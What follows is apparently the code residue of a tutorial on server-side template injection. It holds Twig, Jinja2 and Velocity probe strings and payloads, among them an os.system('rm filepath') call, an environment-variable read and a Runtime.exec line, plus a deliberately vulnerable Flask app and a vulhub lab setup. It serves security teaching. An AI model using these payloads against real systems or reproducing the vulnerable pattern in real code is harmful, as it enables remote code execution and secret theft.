$output = $twig->render("你好 {first_name},", array("first_name" => $user.first_name) );
$output = $twig->render("你好 " . $_GET['name']);
${{<%[%'"}}%\
${7*7}
$output = $twig->render("你好 " . $_GET['name']);
name = Fei
→ 你好 Fei
name = ${7*7}
→ 你好 49
name = ${self}
→ 你好 Object of class __TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5 could not be converted to string
{{ 內容 }}
{{7*7}}
{% Python %}
{% import os %}
{{os.system('rm filepath')
${T(java.lang.System).getenv()}
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
docker-compose.yml
version: '2'
services:
web:
image: vulhub/flask:1.1.1
volumes:
- ./src:/app
ports:
- "8000:8000"